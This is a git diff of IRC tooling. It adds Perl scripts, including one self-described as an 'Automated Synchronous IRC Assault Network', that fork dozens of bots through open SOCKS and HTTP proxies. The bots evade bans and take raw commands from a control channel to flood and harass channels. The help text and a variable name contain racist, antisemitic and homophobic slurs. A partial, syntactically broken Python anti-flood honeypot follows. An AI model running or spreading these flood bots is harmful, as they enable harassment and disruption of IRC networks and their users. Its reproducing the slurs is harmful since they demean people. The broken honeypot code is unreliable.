open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!");
|
||||
while (<SOCKSFILE>) {
|
||||
chomp;
|
||||
my ($ip, $port) = /([^:]+):([0-9]+)/;
|
||||
push @proxies, ({ip => $ip, port => $port, type => '5'});
|
||||
}
|
||||
close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!");
|
||||
|
||||
notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies).");
|
||||
return (@proxies);
|
||||
}
|
||||
|
||||
sub load_http_list {
|
||||
my (@proxies);
|
||||
|
||||
open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!");
|
||||
while (<HTTPFILE>) {
|
||||
chomp;
|
||||
my ($ip, $port) = /([^:]+):([0-9]+)/;
|
||||
push @proxies, ({ip => $ip, port => $port, type => 'h'});
|
||||
}
|
||||
close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!");
|
||||
|
||||
notice("acquired ". scalar(@proxies) ." http prox(y|ies).");
|
||||
return (@proxies);
|
||||
}
|
||||
|
||||
sub load_name_list {
|
||||
my (@names);
|
||||
|
||||
open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!");
|
||||
while (<NAMESFILE>) {
|
||||
chomp;
|
||||
push @names, $_;
|
||||
};
|
||||
close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!");
|
||||
|
||||
notice("acquired ". scalar(@names) ." (nick|user|real) name(|s).");
|
||||
return (@names);
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
# {{{ wrappers/tools
|
||||
|
||||
sub iptoipstr {
|
||||
my ($ip) = $_;
|
||||
my $d = $ip % 256; $ip -= $d; $ip /= 256;
|
||||
my $c = $ip % 256; $ip -= $c; $ip /= 256;
|
||||
my $b = $ip % 256; $ip -= $b; $ip /= 256;
|
||||
my $a = $ip;
|
||||
my $ipstr = "$a.$b.$c.$d";
|
||||
return $ipstr;
|
||||
}
|
||||
|
||||
sub notice {
|
||||
my $notice = shift;
|
||||
print ">>>> ". $notice ."\n";
|
||||
return;
|
||||
}
|
||||
|
||||
sub incoming {
|
||||
my ($nick, $line, $server) = @_;
|
||||
#printf("IRCd >>>> %-12s ] %s\n", $nick, $line);
|
||||
return;
|
||||
}
|
||||
|
||||
sub outgoing {
|
||||
my ($nick, $line, $server) = @_;
|
||||
#printf("IRCd <<<< %-12s ] %s\n", $nick, $line);
|
||||
return;
|
||||
}
|
||||
|
||||
sub warning {
|
||||
my $warning = shift;
|
||||
print "!!!! ". $warning ."\n";
|
||||
return;
|
||||
}
|
||||
|
||||
sub error {
|
||||
my $error = shift;
|
||||
print "!!!! ". $error ."\n";
|
||||
exit 0;
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
# {{{ per-drone logic
|
||||
|
||||
sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1;
|
||||
my ($proxy_ip, $proxy_port, $proxy_type,
|
||||
$remote_ip, $remote_host) = @_;
|
||||
my $nick = $g_names[int rand @g_names];
|
||||
my ($ident, $realname) = ($nick, $nick);
|
||||
my ($line, $sock, $altsock);
|
||||
my ($pingtime) = -1;
|
||||
|
||||
eval {
|
||||
local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
|
||||
alarm 5;
|
||||
$sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
|
||||
$remote_ip, 6667);
|
||||
alarm 0;
|
||||
};
|
||||
if ($@) {
|
||||
error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
|
||||
#warning("$proxy_ip:$proxy_port not responding, removing from list");
|
||||
#return 0;
|
||||
}
|
||||
|
||||
$sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type,
|
||||
$remote_ip, 6667);
|
||||
return 0 unless $sock;
|
||||
|
||||
print $sock "NICK $nick\r\n";
|
||||
outgoing($nick, "NICK $nick");
|
||||
print $sock "USER $ident * * :$realname\r\n";
|
||||
outgoing($nick, "USER $ident * * :$realname");
|
||||
|
||||
while ($line = <$sock>) {
|
||||
chomp $line;
|
||||
# MIGHT WANNA ADJUST THESE vv
|
||||
next if $line =~ /372/; # ignore motd msgs
|
||||
incoming($nick, $line);
|
||||
last if $line =~ /376|422/; # end of motd or no motd
|
||||
return 0 if $line =~ /BANNED/i;
|
||||
return 0 if $line =~ /ERROR.*G.lined/i;
|
||||
return 0 if $line =~ /ERROR.*K.lined/i;
|
||||
return 1 if $line =~ /ERROR/i;
|
||||
return 1 if $line =~ /432/;
|
||||
return 1 if $line =~ /433/;
|
||||
# MIGHT WANNA ADJUST THESE ^^
|
||||
if ($line =~ /PING (.*)$/) {
|
||||
print $sock "PONG $1\r\n";
|
||||
}
|
||||
}
|
||||
print $sock "JOIN $g_channel\r\n";
|
||||
outgoing($nick, "JOIN $g_channel");
|
||||
notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)");
|
||||
while ($line = <$sock>) {
|
||||
chomp $line;
|
||||
if ($line =~ /PING (.*)$/) {
|
||||
print $sock "PONG $1\r\n";
|
||||
} elsif ($line =~ /PONG/) {
|
||||
if($pingtime != -1) {
|
||||
print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n";
|
||||
$pingtime = -1;
|
||||
}
|
||||
} elsif ($line =~ /PRIVMSG $g_channel :\.status/i) {
|
||||
print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n";
|
||||
} elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) {
|
||||
$pingtime = [Time::HiRes::gettimeofday];
|
||||
print $sock "PING :$pingtime\r\n";
|
||||
} elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i ||
|
||||
$line =~ /432/ || $line =~ /433/) {
|
||||
incoming($nick, $line);
|
||||
$nick = $g_names[int rand @g_names];
|
||||
print $sock "NICK $nick\r\n";
|
||||
outgoing($nick, "NICK $nick");
|
||||
} elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) {
|
||||
my ($qualifiers, $cmds) = ($1, $2);
|
||||
my (undef, $repeat) = split /\//, $qualifiers;
|
||||
$cmds =~ s/\$nick/$nick/g;
|
||||
my (@cmds) = split /;/, $cmds;
|
||||
my $current = 0;
|
||||
while ($current < $repeat) {
|
||||
foreach my $cmd (@cmds) {
|
||||
if ($cmd =~ /\.randnick/) {
|
||||
$nick = $g_names[int rand @g_names];
|
||||
print $sock "NICK $nick\r\n";
|
||||
} else {
|
||||
print $sock "$cmd\r\n";
|
||||
}
|
||||
}
|
||||
$current++;
|
||||
}
|
||||
} elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) {
|
||||
my ($qualifiers, $cmds) = ($1, $2);
|
||||
my (undef, $repeat) = split /\//, $qualifiers;
|
||||
if ($cmds =~ /nick (\S*)/i) {
|
||||
$nick = $1;
|
||||
}
|
||||
my (@cmds) = split /;/, $cmds;
|
||||
my $current = 0;
|
||||
while ($current < $repeat) {
|
||||
foreach my $cmd (@cmds) {
|
||||
if ($cmd =~ /\.randnick/) {
|
||||
$nick = $g_names[int rand @g_names];
|
||||
print $sock "NICK $nick\r\n";
|
||||
} else {
|
||||
print $sock "$cmd\r\n";
|
||||
}
|
||||
}
|
||||
$current++;
|
||||
}
|
||||
incoming($nick, $line);
|
||||
outgoing($nick, $cmds);
|
||||
} elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) {
|
||||
my $msg = $3;
|
||||
chomp $msg;
|
||||
if($2 eq 'PRIVMSG') {
|
||||
print $sock "PRIVMSG $g_channel :<$1> $msg\r\n";
|
||||
} else {
|
||||
print $sock "PRIVMSG $g_channel :-$1- $msg\r\n";
|
||||
}
|
||||
} elsif ($line =~ /473/) {
|
||||
# (channel is +i)
|
||||
alarm 5;
|
||||
$SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n";
|
||||
alarm 0; };
|
||||
} else {
|
||||
incoming($nick, $line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
# {{{ proxy protocol handshakes/tunnel establishment
|
||||
|
||||
sub connect_to_proxy {
|
||||
my ($proxy_ip, $proxy_port, $proxy_type,
|
||||
$remote_ip, $remote_port) = @_;
|
||||
if($proxy_type eq '4') {
|
||||
return connect_to_socks4_proxy($proxy_ip, $proxy_port,
|
||||
$remote_ip, $remote_port);
|
||||
} elsif($proxy_type eq '5') {
|
||||
return connect_to_socks5_proxy($proxy_ip, $proxy_port,
|
||||
$remote_ip, $remote_port);
|
||||
} elsif($proxy_type eq 'h') {
|
||||
return connect_to_http_proxy($proxy_ip, $proxy_port,
|
||||
$remote_ip, $remote_port);
|
||||
} else {
|
||||
error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)");
|
||||
}
|
||||
}
|
||||
|
||||
sub connect_to_socks4_proxy {
|
||||
# see http://socks.permeo.com/protocol/socks4.protocol
|
||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
||||
my $sock = IO::Socket::INET->new(
|
||||
PeerAddr => $socks_ip,
|
||||
PeerPort => $socks_port,
|
||||
Proto => 'tcp',
|
||||
Timeout => '8'
|
||||
);
|
||||
return unless $sock;
|
||||
$sock->autoflush(1);
|
||||
print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
|
||||
my $received = '';
|
||||
while (read($sock, $received, 8) && (length($received) < 8)) {}
|
||||
my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
|
||||
return unless $cd;
|
||||
if ($cd != 90) {
|
||||
return;
|
||||
}
|
||||
return $sock;
|
||||
}
|
||||
|
||||
sub connect_to_socks5_proxy {
|
||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
||||
my $sock = IO::Socket::INET->new(
|
||||
PeerAddr => $socks_ip,
|
||||
PeerPort => $socks_port,
|
||||
Proto => 'tcp',
|
||||
Timeout => '8'
|
||||
);
|
||||
return unless $sock;
|
||||
$sock->autoflush(1);
|
||||
|
||||
print $sock pack('CCC', 5, 1, 0);
|
||||
my $received = '';
|
||||
while (read($sock, $received, 2) && (length($received) < 2)) {}
|
||||
my (undef, $method) = unpack('CC', $received);
|
||||
print "received: '$received'\n";
|
||||
return if $method == 0xFF;
|
||||
print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip),
|
||||
$remote_port);
|
||||
$received = '';
|
||||
while (read($sock, $received, 2) && (length($received) < 4)) {}
|
||||
my ($vn, $rep) = unpack('CC', $received);
|
||||
if ($rep != 0) {
|
||||
return;
|
||||
}
|
||||
return $sock;
|
||||
}
|
||||
|
||||
sub connect_to_http_proxy {
|
||||
my ($http_ip, $http_port, $remote_ip, $remote_port) = @_;
|
||||
my $sock = IO::Socket::INET->new(
|
||||
PeerAddr => $http_ip,
|
||||
PeerPort => $http_port,
|
||||
Proto => 'tcp',
|
||||
Timeout => '8'
|
||||
);
|
||||
return unless $sock;
|
||||
$sock->autoflush(1);
|
||||
|
||||
print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n";
|
||||
my $received = '';
|
||||
while (read($sock, $received, 12) && (length($received) < 12)) {}
|
||||
my (undef, $response) = split / /, $received;
|
||||
return if $received eq "";
|
||||
return if $response ne '200';
|
||||
|
||||
while(read($sock, $received, 1)) {
|
||||
if($received eq "\n") {
|
||||
read($sock, $received, 1);
|
||||
if($received eq "\r") {
|
||||
read($sock, $received, 1);
|
||||
return $sock;
|
||||
}
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
sub resolve {
|
||||
my $host = shift;
|
||||
my (undef, undef, undef, undef, @servers) = gethostbyname($host);
|
||||
unless (@servers) {
|
||||
error("cannot resolve server $host: $?");
|
||||
return 0;
|
||||
}
|
||||
my @servers_ip;
|
||||
foreach my $server (@servers) {
|
||||
my ($a, $b, $c, $d) = unpack('C4', $server);
|
||||
my $server_ip = "$a.$b.$c.$d";
|
||||
push (@servers_ip, $server_ip);
|
||||
}
|
||||
return @servers_ip;
|
||||
}
|
||||
|
||||
# }}}
|
||||
|
||||
# vim:ts=2
|
||||
# vim:sw=2
|
||||
# vim:expandtab
|
||||
# vim:foldmethod=marker
|
318
irc/asian.pl
Normal file
318
irc/asian.pl
Normal file
@ -0,0 +1,318 @@
|
||||
#!/usr/bin/perl
|
||||
|
||||
# -->
|
||||
# WORK IN PROGRESS
|
||||
# <--
|
||||
|
||||
# ASIAN 2.0 by Jmax
|
||||
#
|
||||
# I have made many modifications:
|
||||
# - Use of command line arguments as opposed to editing the script itself.
|
||||
# - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
|
||||
# - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
|
||||
# - Improved fork routine/library
|
||||
#
|
||||
# The original header is as follows (NOTE: syntax here is _incorrect_):
|
||||
# -----------------------------------------------
|
||||
# ASIAN by Rucas
|
||||
# Automated Synchronous IRC Assault Network
|
||||
# Based on AYSYN by mef
|
||||
#
|
||||
# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
|
||||
# directory as this script. If you'd like to use tor, you can put
|
||||
# the correct info on one line in proxies.txt and this app will
|
||||
# still function properly (although generally tor sucks)
|
||||
#
|
||||
# All bots join $channel and are issued raw irc commands from there
|
||||
# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
|
||||
# "botname PRIVMSG Rucas lol failure" and such.
|
||||
#
|
||||
# Testing of an early version of this script is the reason that
|
||||
# Freenode now checks for open SOCKS proxies.
|
||||
# -----------------------------------------------
|
||||
|
||||
# TODO:
|
||||
# file flooding with adjustments for nick-length
|
||||
|
||||
use warnings;
|
||||
use strict;
|
||||
use IO::Socket;
|
||||
use IO::Handle;
|
||||
# for forking
|
||||
use POSIX qw(:signal_h :sys_wait_h);
|
||||
my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50);
|
||||
$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
|
||||
$SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); };
|
||||
# end
|
||||
use vars qw($VERSION);
|
||||
$VERSION = "2.0-beta3";
|
||||
|
||||
error("please run using the --help argument") unless $ARGV[0];
|
||||
my ($server, $port, $channel, $nickbase);
|
||||
if ($ARGV[0] eq '--help') {
|
||||
print "ASIAN $VERSION by Jmax, Rucas, abez. Inspired by code by mef.\n".
|
||||
"\n".
|
||||
"\n".
|
||||
" Invocation:\n".
|
||||
" perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n".
|
||||
"\n".
|
||||
" Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n".
|
||||
" you want the bots to join, and \"server\" is optionally affixed with a port to\n".
|
||||
" use (if not 6667) with a colon inbetween. Please note that some shells will interpret\n".
|
||||
" the # in \"#channel\" as a comment, and will not send it to the script. In this case,\n".
|
||||
" You may either use quotes, or escape the '#'. I prefer quotes. You may also, optionally,\n".
|
||||
" specify a nickbase. This will cause all nicks to begin with that string. You should\n".
|
||||
" probably not do this, as it makes your bots easier to ban.\n".
|
||||
"\n".
|
||||
"\n".
|
||||
" Usage:\n".
|
||||
" all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
||||
" <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
||||
" <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
|
||||
"\n".
|
||||
" Simply privmsg your command to the control channel, and the respective bots will follow.\n".
|
||||
"\n".
|
||||
" Examples:\n".
|
||||
" <~supers> all join #gnaa gnaa\n".
|
||||
" All bots will join #gnaa using the key 'gnaa'\n".
|
||||
" <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
|
||||
" All bots will say \"LOL HY LOL HY\" in #gnaa\n".
|
||||
" <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
|
||||
" The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
|
||||
" <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
|
||||
" The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
|
||||
" will part #gnaa with reason 'lol jews'\n".
|
||||
"\n".
|
||||
"\n".
|
||||
" Enjoy. -- Jmax\n";
|
||||
exit 0;
|
||||
} elsif ($ARGV[0] eq '--version') {
|
||||
print "ASIAN $VERSION by Jmax, Rucas, abez. Based on code by mef.\n";
|
||||
exit 0;
|
||||
} else {
|
||||
error("please run using the --help argument") unless $ARGV[1];
|
||||
if ($ARGV[0] =~ /(.+):(\d+)/) {
|
||||
$server = $1;
|
||||
$port = $2;
|
||||
} else {
|
||||
$server = $ARGV[0];
|
||||
$port = 6667;
|
||||
}
|
||||
$channel = $ARGV[1];
|
||||
if ($ARGV[2]) {
|
||||
$nickbase = $ARGV[2];
|
||||
}
|
||||
}
|
||||
|
||||
my @servers = resolve($server);
|
||||
notice("Resolved $server as ".join(", ", @servers));
|
||||
|
||||
my %proxies = load_socks();
|
||||
my @proxylist = get_proxylist(%proxies);
|
||||
|
||||
notice("Initiliazing (forking) bots");
|
||||
for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here
|
||||
sleep 1; # so we don't overload ourselves
|
||||
if (!defined(my $pid = fork())) { # fork
|
||||
error("couldn't fork: $!"); # die if fork fails
|
||||
} elsif ($pid == 0) { # fork successful, in child, do stuff
|
||||
while (%proxies) {
|
||||
my $proxy_ip = $proxylist[int rand @proxylist];
|
||||
my $proxy_port = $proxies{$proxy_ip};
|
||||
spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port)
|
||||
or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies));
|
||||
sleep 10; # to prevent throttling by IRCd
|
||||
}
|
||||
exit 0; # kills child
|
||||
} else { # this is the parent
|
||||
}
|
||||
}
|
||||
sleep while ($dead_nigger_storage < $maxfork);
|
||||
exit 666;
|
||||
|
||||
sub load_socks {
|
||||
my (%proxies, @proxylist, $socksn);
|
||||
open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!");
|
||||
while (<SOCKSFILE>) {
|
||||
chomp;
|
||||
my ($ip, $port) = /([^:]+):([^:]+)/;
|
||||
$proxies{$ip} = $port;
|
||||
$socksn++;
|
||||
}
|
||||
close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!");
|
||||
notice("acquired $socksn socks prox(y|ies).");
|
||||
return (%proxies);
|
||||
}
|
||||
|
||||
sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1;
|
||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
||||
my ($nick, $nicklen);
|
||||
if ($nickbase) {
|
||||
$nicklen = int(rand(4)) + 3;
|
||||
$nick = $nickbase . random_num($nicklen);
|
||||
} else {
|
||||
$nicklen = int(rand(9)) + 3;
|
||||
$nick = random_nick($nicklen);
|
||||
}
|
||||
my $identlen = int(rand(4)) + 3;
|
||||
my $ident = lc(random_nick($identlen));
|
||||
my $realnamelen = int(rand(9)) + 7;
|
||||
my $realname = random_nick($realnamelen);
|
||||
my ($line, $sock, $altsock);
|
||||
eval {
|
||||
local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
|
||||
alarm 5;
|
||||
$sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
|
||||
alarm 0;
|
||||
};
|
||||
if ($@) {
|
||||
error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
|
||||
warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;");
|
||||
return 0;
|
||||
}
|
||||
$sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
|
||||
return 0 unless $sock;
|
||||
print $sock "NICK $nick\r\n";
|
||||
outgoing($nick, "NICK $nick");
|
||||
print $sock "USER $ident * * :$realname\r\n";
|
||||
outgoing($nick, "USER $ident * * :$realname");
|
||||
while ($line = <$sock>) {
|
||||
chomp $line;
|
||||
next if $line =~ /372/; # ignore motd msgs
|
||||
incoming($nick, $line);
|
||||
last if $line =~ /376|422/; # end of motd or no motd
|
||||
return 0 if $line =~ /BANNED/i;
|
||||
return 0 if $line =~ /ERROR.*G.lined/i;
|
||||
return 0 if $line =~ /ERROR.*K.lined/i;
|
||||
return 1 if $line =~ /ERROR/i;
|
||||
return 1 if $line =~ /432/;
|
||||
return 1 if $line =~ /433/;
|
||||
if ($line =~ /PING (.*)$/) {
|
||||
print $sock "PONG $1\r\n";
|
||||
}
|
||||
}
|
||||
print $sock "JOIN $channel\r\n";
|
||||
outgoing($nick, "JOIN $channel");
|
||||
while ($line = <$sock>) {
|
||||
chomp $line;
|
||||
if ($line =~ /PING (.*)$/) {
|
||||
print $sock "PONG $1\r\n";
|
||||
} elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) {
|
||||
my $cmd = $1;
|
||||
if ($cmd =~ /nick (\S*)/i) {
|
||||
$nick = $1;
|
||||
}
|
||||
incoming($nick, $line);
|
||||
print $sock "$cmd\r\n";
|
||||
outgoing($nick, $cmd);
|
||||
} elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) {
|
||||
my $cmd = $1;
|
||||
if ($cmd =~ /nick (\S*)/i) {
|
||||
$nick = $1;
|
||||
}
|
||||
incoming($nick, $line);
|
||||
print $sock "$cmd\r\n";
|
||||
outgoing($nick, $cmd);
|
||||
} else {
|
||||
incoming($nick, $line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub connect_to_socks_proxy {
|
||||
# see http://socks.permeo.com/protocol/socks4.protocol
|
||||
my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
|
||||
my $sock = IO::Socket::INET->new(
|
||||
PeerAddr => $socks_ip,
|
||||
PeerPort => $socks_port,
|
||||
Proto => 'tcp'
|
||||
);
|
||||
return unless $sock;
|
||||
$sock->autoflush(1);
|
||||
print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
|
||||
my $received = '';
|
||||
while (read($sock, $received, 8) && (length($received) < 8)) {}
|
||||
my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
|
||||
return unless $cd;
|
||||
if ($cd != 90) {
|
||||
return;
|
||||
}
|
||||
return $sock;
|
||||
}
|
||||
|
||||
sub random_nick {
|
||||
my $length = shift;
|
||||
my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug)
|
||||
my @possible = split(//, $possible);
|
||||
my $str = '';
|
||||
while (length($str) < $length) {
|
||||
$str .= $possible[int rand @possible];
|
||||
}
|
||||
return $str;
|
||||
}
|
||||
|
||||
sub random_num {
|
||||
my $length = shift;
|
||||
my $possible = '0123456789'; # NO PIPES. (lol, weird bug)
|
||||
my @possible = split(//, $possible);
|
||||
my $str = '';
|
||||
while (length($str) < $length) {
|
||||
$str .= $possible[int rand @possible];
|
||||
}
|
||||
return $str;
|
||||
}
|
||||
|
||||
sub resolve {
|
||||
my $host = shift;
|
||||
my (undef, undef, undef, undef, @servers) = gethostbyname($host);
|
||||
unless (@servers) {
|
||||
error("cannot resolve server $host: $?");
|
||||
return 0;
|
||||
}
|
||||
my @servers_ip;
|
||||
foreach my $server (@servers) {
|
||||
my ($a, $b, $c, $d) = unpack('C4', $server);
|
||||
my $server_ip = "$a.$b.$c.$d";
|
||||
push (@servers_ip, $server_ip);
|
||||
}
|
||||
return @servers_ip;
|
||||
}
|
||||
|
||||
sub get_proxylist {
|
||||
my $proxies = @_;
|
||||
my @proxylist;
|
||||
foreach my $key (keys %proxies) {
|
||||
push(@proxylist, $key);
|
||||
}
|
||||
return @proxylist;
|
||||
}
|
||||
|
||||
sub notice {
|
||||
my $notice = shift;
|
||||
print ">>>> ". $notice ."\n";
|
||||
return;
|
||||
}
|
||||
|
||||
sub incoming {
|
||||
my ($nick, $line, $server) = @_;
|
||||
printf("IRCd >>>> %-12s ] %s\n", $nick, $line);
|
||||
return;
|
||||
}
|
||||
|
||||
sub outgoing {
|
||||
my ($nick, $line, $server) = @_;
|
||||
printf("IRCd <<<< %-12s ] %s\n", $nick, $line);
|
||||
return;
|
||||
}
|
||||
|
||||
sub warning {
|
||||
my $warning = shift;
|
||||
print "!!!! ". $warning ."\n";
|
||||
return;
|
||||
}
|
||||
|
||||
sub error {
|
||||
my $error = shift;
|
||||
print "!!!! ". $error ."\n";
|
||||
exit 0;
|
||||
}
|
208
irc/blackhole.py
Normal file
208
irc/blackhole.py
Normal file
@ -0,0 +1,208 @@
|
||||
#!/usr/bin/env python
|
||||
# Blackhole IRC Bot - Developed by acidvegas in Python - (https://acid.vegas/random)
|
||||
|
||||
'''
|
||||
WARNING: This script it entirely unfinished and should not be used for anything other than testing!
|
||||
|
||||
This is an advanced master/honeypot(s) bot system designed to combat advanced flooding techniques on IRC
|
||||
'''
|
||||
|
||||
import random, ssl, socket, time, threading
|
||||
|
||||
# Config
|
||||
nickserv_password = None
|
||||
operator_password = None
|
||||
user_modes = None #BdZ
|
||||
|
||||
class HoneyPot(threading.Thread):
|
||||
def __init__(self):
|
||||
self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
|
||||
self.sock = None
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
|
||||
self.sock.connect(('localhost', 6697))
|
||||
self.raw(f'USER {username} 0 * :{realname}')
|
||||
self.raw('NICK ' + self.nickname)
|
||||
except socket.error:
|
||||
self.event_disconnect()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def event_disconnect(self):
|
||||
self.sock.close()
|
||||
time.sleep(15)
|
||||
self.connect()
|
||||
|
||||
def handle_events(self, data):
|
||||
args = data.split()
|
||||
if data.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
for chan in channels:
|
||||
self.raw('JOIN ' + chan)
|
||||
time.sleep(1)
|
||||
elif args[1] == '433':
|
||||
self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
|
||||
self.raw('NICK ' + self.nickname)
|
||||
elif args[1] == 'INVITE':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
self.sendmsg('blackhole', '!' + nick)
|
||||
elif args[1] == 'KICK' and len(args) >= 4:
|
||||
chan = args[2]
|
||||
kicked = args[3]
|
||||
if chan in channels and kicked == self.nickname:
|
||||
time.sleep(1)
|
||||
self.raw('JOIN ' + chan)
|
||||
elif args[1] == 'NOTICE':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
self.sendmsg('blackhole', '!' + nick)
|
||||
elif args[1] == 'PRIVMSG' and len(args) >= 3:
|
||||
nick = args[0].split('!')[0][1:]
|
||||
chan = args[2]
|
||||
if chan == self.nickname or '\001' in data:
|
||||
self.sendmsg('blackhole', '!' + nick)
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if line):
|
||||
if len(line.split()) >= 2:
|
||||
self.handle_events(line)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except:
|
||||
break
|
||||
self.event_disconnect()
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
def sendmsg(self, target, msg):
|
||||
self.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
class IRC(object):
|
||||
def __init__(self):
|
||||
self.db = {'ident':list(),'nick':list(),:'protect':list()}
|
||||
self.sock = None
|
||||
|
||||
def run(self):
|
||||
with open('blackhole.pkl','rb') as db_file:
|
||||
self.db = pickle.load(db_file)
|
||||
self.connect()
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
|
||||
self.sock.connect(('localhost', 6697))
|
||||
self.raw(f'USER BL 0 * :ENTER THE VOID')
|
||||
self.raw('NICK blackhole')
|
||||
except socket.error:
|
||||
self.event_disconnect()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def evemt_connect(self):
|
||||
self.mode(nickname, '+' + user_modes)
|
||||
self.identify(nickname, nickserv_password)
|
||||
self.oper(username, operator_password)
|
||||
|
||||
def event_disconnect(self):
|
||||
self.sock.close()
|
||||
time.sleep(15)
|
||||
self.connect()
|
||||
|
||||
def event_private(self, ident, nick, msg):
|
||||
if ident == admin:
|
||||
args = msg.split()
|
||||
cmd = args[0][1:]
|
||||
if msg[:1] == '.':
|
||||
if cmd in self.db.keys():
|
||||
if len(args) == 1:
|
||||
for item in self.db[cmd]:
|
||||
self.sendmsg(nick, '\x0310' + item)
|
||||
elif len(args) == 2:
|
||||
option = args[1][1:]
|
||||
change = args[1][:1]
|
||||
if change == '+':
|
||||
if option not in self.db[cmd]:
|
||||
